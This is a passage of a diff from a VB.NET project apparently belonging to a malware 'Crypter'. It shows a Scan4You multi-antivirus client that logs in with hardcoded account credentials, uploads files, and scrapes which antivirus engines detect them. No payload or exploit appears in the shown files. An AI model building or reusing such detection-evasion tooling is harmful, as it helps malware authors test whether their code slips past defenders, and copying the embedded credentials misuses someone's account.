RaiseEvent Notify("Could not retrieve log in form. Missing Element.")
|
||||
Exit Try
|
||||
End If
|
||||
|
||||
Dim PostData As New StringBuilder()
|
||||
PostData.Append("l_ogin=" & .UrlEncode(Account(0)))
|
||||
PostData.Append("&passw=" & .UrlEncode(Account(1)))
|
||||
PostData.Append("&act=Login&action=L_ogi_n&z6112=" & .ParseBetween(hr.Html, "name='z6112' value='", "'></div>", "name='z6112' value='".Length))
|
||||
|
||||
.ContentType = "application/x-www-form-urlencoded"
|
||||
.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
|
||||
.Referer = "http://scan4you.net/"
|
||||
|
||||
hr = .GetResponse(Verb._POST, "http://scan4you.net/login.php", PostData.ToString)
|
||||
|
||||
If hr.Html.Contains("('document.location=""check.php"";',1000);") Then
|
||||
RaiseEvent Notify("Succesfully logged in!")
|
||||
Online = True
|
||||
Else
|
||||
RaiseEvent Notify("Could not login!")
|
||||
Online = False
|
||||
End If
|
||||
End With
|
||||
Catch ex As Exception
|
||||
RaiseEvent Notify("Could not login: " & ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
Public Sub Upload(ByVal Path As String)
|
||||
Try
|
||||
With Http
|
||||
.TimeOut = 600000 'Long time out to give Scan4You long enough to receive and give results.
|
||||
.DebugMode = True
|
||||
.AutoRedirect = True
|
||||
Dim fi As New FileInfo(Path)
|
||||
RaiseEvent Notify(String.Format("Attempting to upload file '{0}'.", fi.Name))
|
||||
|
||||
Dim hr As HttpResponse
|
||||
|
||||
Dim data As New UploadData(File.ReadAllBytes(Path), fi.Name, "uppload") 'Use idb's handy UploadData class to make our lives easier.
|
||||
|
||||
.Referer = "http://scan4you.net/check3.php"
|
||||
|
||||
Dim fields As New NameValueCollection 'A lot of unnecessary fields at the end of the request.
|
||||
fields.Add("action", "Check File")
|
||||
fields.Add("url", "http://")
|
||||
fields.Add("domen", "")
|
||||
fields.Add("pack", "http://")
|
||||
fields.Add("pereodic", "0:")
|
||||
fields.Add("notify", "")
|
||||
fields.Add("notify_param", "")
|
||||
fields.Add("notify_virus_only", "on")
|
||||
fields.Add("notify_stop_on_virus", "on")
|
||||
|
||||
hr = .GetResponse(Verb._POST, "http://scan4you.net/check3.php", Nothing, fields, data)
|
||||
If hr.Html.Contains("/35") Then
|
||||
RaiseEvent Notify("Parsing results...")
|
||||
'BBCode is in some kind of javascript window thing.
|
||||
_BBCode = .ParseBetween(hr.Html, """if(window.fCopyToClipboard){if(window.fCopyToClipboard(this));}"" >", "</textarea></div></div>", """if(window.fCopyToClipboard){if(window.fCopyToClipboard(this));}"" >".Length)
|
||||
'Parse result link
|
||||
Dim lin As String = .ParseBetween(hr.Html, "<div id='job'><table width=400 align=center><tr><td colspan=2><font size=4><a href='", "'>", "<div id='job'><table width=400 align=center><tr><td colspan=2><font size=4><a href='".Length)
|
||||
|
||||
|
||||
For i As Integer = 0 To 5 'Scan4You likes to fuck up and give 503 errors on newly scanned items, so let's keep trying until it works.
|
||||
hr = .GetResponse(Verb._GET, lin)
|
||||
If Not hr.Html.Contains("503 Service Temporarily Unavailable") Then Exit For
|
||||
Next
|
||||
|
||||
Dim results As String = .ParseBetween(hr.Html, "RESULTS:</b></td><td><b>", "</td></tr></table><table width=400 align=center><tr><td>", "RESULTS:</b></td><td><b>".Length)
|
||||
_Rate = .ParseBetween(results, "", "</b></td></tr><tr><td>", "".Length)
|
||||
|
||||
_Link = lin
|
||||
results = results.Replace("</td><td>", "~~").Replace("</td></tr><tr><td>", Environment.NewLine).Replace("</b></td>", String.Empty).Replace("</td><td class=""failed"">", "~~")
|
||||
|
||||
For Each d As String In Regex.Split(results, Environment.NewLine)
|
||||
If Not d.Contains("/35") Then
|
||||
Dim avData As String() = Regex.Split(d, "~~")
|
||||
AVDetections.Add(avData(0), avData(1))
|
||||
End If
|
||||
Next
|
||||
RaiseEvent Notify("ScanComplete") 'Tell form to put data into appropriate controls.
|
||||
RaiseEvent Notify("Scanning completed!") 'Add to event log.
|
||||
Else
|
||||
RaiseEvent Notify("Scanning failed, please try again.")
|
||||
End If
|
||||
|
||||
End With
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.ToString)
|
||||
End Try
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
End Class
|
||||
End Namespace
|
||||
+186
@@ -0,0 +1,186 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Scanner
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form remplace la méthode Dispose pour nettoyer la liste des composants.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Requise par le Concepteur Windows Form
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'REMARQUE : la procédure suivante est requise par le Concepteur Windows Form
|
||||
'Elle peut être modifiée à l'aide du Concepteur Windows Form.
|
||||
'Ne la modifiez pas à l'aide de l'éditeur de code.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Me.DesignForm1 = New Crypter.DesignForm()
|
||||
Me.EventLog = New System.Windows.Forms.TextBox()
|
||||
Me.TextBox2 = New System.Windows.Forms.TextBox()
|
||||
Me.Label1 = New System.Windows.Forms.Label()
|
||||
Me.DesignButton1 = New Crypter.DesignButton()
|
||||
Me.TextBox1 = New System.Windows.Forms.TextBox()
|
||||
Me.Label18 = New System.Windows.Forms.Label()
|
||||
Me.ListView1 = New System.Windows.Forms.ListView()
|
||||
Me.ColumnHeader1 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Me.ColumnHeader2 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Me.DesignControlBox1 = New Crypter.DesignControlBox()
|
||||
Me.DesignForm1.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'DesignForm1
|
||||
'
|
||||
Me.DesignForm1.Controls.Add(Me.EventLog)
|
||||
Me.DesignForm1.Controls.Add(Me.TextBox2)
|
||||
Me.DesignForm1.Controls.Add(Me.Label1)
|
||||
Me.DesignForm1.Controls.Add(Me.DesignButton1)
|
||||
Me.DesignForm1.Controls.Add(Me.TextBox1)
|
||||
Me.DesignForm1.Controls.Add(Me.Label18)
|
||||
Me.DesignForm1.Controls.Add(Me.ListView1)
|
||||
Me.DesignForm1.Controls.Add(Me.DesignControlBox1)
|
||||
Me.DesignForm1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Me.DesignForm1.Font = New System.Drawing.Font("Verdana", 10.0!)
|
||||
Me.DesignForm1.Location = New System.Drawing.Point(0, 0)
|
||||
Me.DesignForm1.Name = "DesignForm1"
|
||||
Me.DesignForm1.Padding = New System.Windows.Forms.Padding(2, 36, 2, 2)
|
||||
Me.DesignForm1.Size = New System.Drawing.Size(322, 456)
|
||||
Me.DesignForm1.TabIndex = 0
|
||||
Me.DesignForm1.Text = "Multi-Av Scanner"
|
||||
'
|
||||
'EventLog
|
||||
'
|
||||
Me.EventLog.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.EventLog.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.EventLog.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.EventLog.Location = New System.Drawing.Point(9, 350)
|
||||
Me.EventLog.Multiline = True
|
||||
Me.EventLog.Name = "EventLog"
|
||||
Me.EventLog.ScrollBars = System.Windows.Forms.ScrollBars.Both
|
||||
Me.EventLog.Size = New System.Drawing.Size(305, 94)
|
||||
Me.EventLog.TabIndex = 24
|
||||
'
|
||||
'TextBox2
|
||||
'
|
||||
Me.TextBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.TextBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox2.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.TextBox2.Location = New System.Drawing.Point(58, 320)
|
||||
Me.TextBox2.Name = "TextBox2"
|
||||
Me.TextBox2.ReadOnly = True
|
||||
Me.TextBox2.Size = New System.Drawing.Size(256, 24)
|
||||
Me.TextBox2.TabIndex = 23
|
||||
Me.TextBox2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label1.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.Label1.Location = New System.Drawing.Point(10, 322)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(42, 17)
|
||||
Me.Label1.TabIndex = 22
|
||||
Me.Label1.Text = "Link:"
|
||||
'
|
||||
'DesignButton1
|
||||
'
|
||||
Me.DesignButton1.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton1.Location = New System.Drawing.Point(144, 290)
|
||||
Me.DesignButton1.Name = "DesignButton1"
|
||||
Me.DesignButton1.Size = New System.Drawing.Size(170, 24)
|
||||
Me.DesignButton1.TabIndex = 21
|
||||
Me.DesignButton1.Text = "Browse 'n' Scan"
|
||||
'
|
||||
'TextBox1
|
||||
'
|
||||
Me.TextBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox1.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.TextBox1.Location = New System.Drawing.Point(58, 290)
|
||||
Me.TextBox1.Name = "TextBox1"
|
||||
Me.TextBox1.ReadOnly = True
|
||||
Me.TextBox1.Size = New System.Drawing.Size(80, 24)
|
||||
Me.TextBox1.TabIndex = 20
|
||||
Me.TextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center
|
||||
'
|
||||
'Label18
|
||||
'
|
||||
Me.Label18.AutoSize = True
|
||||
Me.Label18.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label18.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.Label18.Location = New System.Drawing.Point(6, 292)
|
||||
Me.Label18.Name = "Label18"
|
||||
Me.Label18.Size = New System.Drawing.Size(46, 17)
|
||||
Me.Label18.TabIndex = 19
|
||||
Me.Label18.Text = "Rate:"
|
||||
'
|
||||
'ListView1
|
||||
'
|
||||
Me.ListView1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.ListView1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.ColumnHeader1, Me.ColumnHeader2})
|
||||
Me.ListView1.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.ListView1.GridLines = True
|
||||
Me.ListView1.Location = New System.Drawing.Point(9, 37)
|
||||
Me.ListView1.Name = "ListView1"
|
||||
Me.ListView1.Size = New System.Drawing.Size(305, 247)
|
||||
Me.ListView1.TabIndex = 1
|
||||
Me.ListView1.UseCompatibleStateImageBehavior = False
|
||||
Me.ListView1.View = System.Windows.Forms.View.Details
|
||||
'
|
||||
'ColumnHeader1
|
||||
'
|
||||
Me.ColumnHeader1.Text = "Antivirus"
|
||||
Me.ColumnHeader1.Width = 162
|
||||
'
|
||||
'ColumnHeader2
|
||||
'
|
||||
Me.ColumnHeader2.Text = "Detection"
|
||||
Me.ColumnHeader2.Width = 140
|
||||
'
|
||||
'DesignControlBox1
|
||||
'
|
||||
Me.DesignControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
|
||||
Me.DesignControlBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.DesignControlBox1.Location = New System.Drawing.Point(279, 3)
|
||||
Me.DesignControlBox1.Name = "DesignControlBox1"
|
||||
Me.DesignControlBox1.Size = New System.Drawing.Size(40, 20)
|
||||
Me.DesignControlBox1.TabIndex = 0
|
||||
Me.DesignControlBox1.Text = "DesignControlBox1"
|
||||
'
|
||||
'Scanner
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(322, 456)
|
||||
Me.Controls.Add(Me.DesignForm1)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.Name = "Scanner"
|
||||
Me.Opacity = 0.95R
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "Scanner"
|
||||
Me.DesignForm1.ResumeLayout(False)
|
||||
Me.DesignForm1.PerformLayout()
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents DesignForm1 As Crypter.DesignForm
|
||||
Friend WithEvents DesignControlBox1 As Crypter.DesignControlBox
|
||||
Friend WithEvents EventLog As System.Windows.Forms.TextBox
|
||||
Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents DesignButton1 As Crypter.DesignButton
|
||||
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Label18 As System.Windows.Forms.Label
|
||||
Friend WithEvents ListView1 As System.Windows.Forms.ListView
|
||||
Friend WithEvents ColumnHeader1 As System.Windows.Forms.ColumnHeader
|
||||
Friend WithEvents ColumnHeader2 As System.Windows.Forms.ColumnHeader
|
||||
End Class
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,94 @@
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Threading
|
||||
Imports System.Text
|
||||
Public Class Scanner
|
||||
Public Shared scan As Service.Scan4You = Nothing
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
Try
|
||||
scan = New Service.Scan4You(New String() {"Mephobia", "zman13"})
|
||||
AddHandler scan.Notify, AddressOf OnNotify
|
||||
Threading.ThreadPool.QueueUserWorkItem(AddressOf scan.Login)
|
||||
AddHandler scan.Notify, AddressOf OnNotifyScan4You
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End Sub
|
||||
Private Sub DesignButton1_Click(sender As Object, e As EventArgs) Handles DesignButton1.Click
|
||||
scan.AVDetections.Clear()
|
||||
If Not scan.Online Then Return
|
||||
Using ofd As New OpenFileDialog()
|
||||
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
With scan
|
||||
ListView1.Items.Clear()
|
||||
TextBox1.Text = Nothing : TextBox2.Text = Nothing
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf scan.Upload), ofd.FileName)
|
||||
End With
|
||||
End If
|
||||
End Using
|
||||
End Sub
|
||||
Private Delegate Sub OnNotifyDelegate(ByVal text As String)
|
||||
Public Sub OnNotify(ByVal text As String)
|
||||
If InvokeRequired Then
|
||||
Invoke(New OnNotifyDelegate(AddressOf OnNotify), text)
|
||||
Exit Sub
|
||||
End If
|
||||
If text = "Succesfully logged in!" Then
|
||||
|
||||
ElseIf text = "Could not login!" Then
|
||||
MessageBox.Show("Could not login!")
|
||||
End If
|
||||
End Sub
|
||||
Private Delegate Sub _OnNotify(ByVal Text As String)
|
||||
Private Sub OnNotifyScan4You(ByVal Text As String)
|
||||
Try
|
||||
If Me.InvokeRequired Then
|
||||
Me.Invoke(New _OnNotify(AddressOf OnNotifyScan4You), Text)
|
||||
Else
|
||||
If Text = "ScanComplete" Then
|
||||
For Each Str As KeyValuePair(Of String, String) In scan.AVDetections
|
||||
Dim lItem As New ListViewItem(Str.Key)
|
||||
lItem.SubItems.Add(Str.Value)
|
||||
lItem.UseItemStyleForSubItems = False
|
||||
If Str.Value = "OK" Then
|
||||
lItem.SubItems(1).ForeColor = Color.Green
|
||||
Else
|
||||
lItem.SubItems(1).ForeColor = Color.Red
|
||||
End If
|
||||
ListView1.Items.Add(lItem)
|
||||
Next
|
||||
'TextBox4.Text = scan.BBCode
|
||||
TextBox1.Text = scan.Rate
|
||||
TextBox2.Text = scan.Link
|
||||
Exit Sub
|
||||
End If
|
||||
EventLog.AppendText(String.Format("[{0}] {1}{2}", Now.ToString("hh:mm:ss tt"), Text, vbCrLf))
|
||||
End If
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End Sub
|
||||
Private Sub Form_Close() Handles MyBase.FormClosing
|
||||
Form1.Show()
|
||||
End Sub
|
||||
|
||||
Private Sub DesignForm1_Click(sender As Object, e As EventArgs)
|
||||
|
||||
End Sub
|
||||
End Class
|
||||
Public Class ListView
|
||||
Inherits System.Windows.Forms.ListView
|
||||
|
||||
<DllImport("uxtheme.dll", CharSet:=CharSet.Unicode)> _
|
||||
Private Shared Function SetWindowTheme(ByVal hWnd As IntPtr, ByVal pszSubAppName As String, ByVal pszSubIdList As String) As Integer
|
||||
End Function
|
||||
Protected Overrides Sub CreateHandle()
|
||||
MyBase.CreateHandle()
|
||||
SetWindowTheme(Me.Handle, "explorer", Nothing)
|
||||
End Sub
|
||||
Public Sub New()
|
||||
Me.DoubleBuffered = True
|
||||
Me.View = System.Windows.Forms.View.Details
|
||||
Me.FullRowSelect = True
|
||||
Me.GridLines = True
|
||||
End Sub
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,23 @@
|
||||
<?xml version="1.0"?>
|
||||
<configuration>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- Cette section définit la configuration de l'enregistrement dans le fichier journal de My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Supprimez les marques de commentaire dans la section suivante pour écrire dans le journal des événements de l'application -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Supprimez les marques de commentaire dans la section suivante et remplacez APPLICATION_NAME par le nom de votre application à écrire dans le journal des événements de l'application -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/></startup></configuration>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 134 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 291 KiB |
Binary file not shown.
Reference in New Issue
Block a user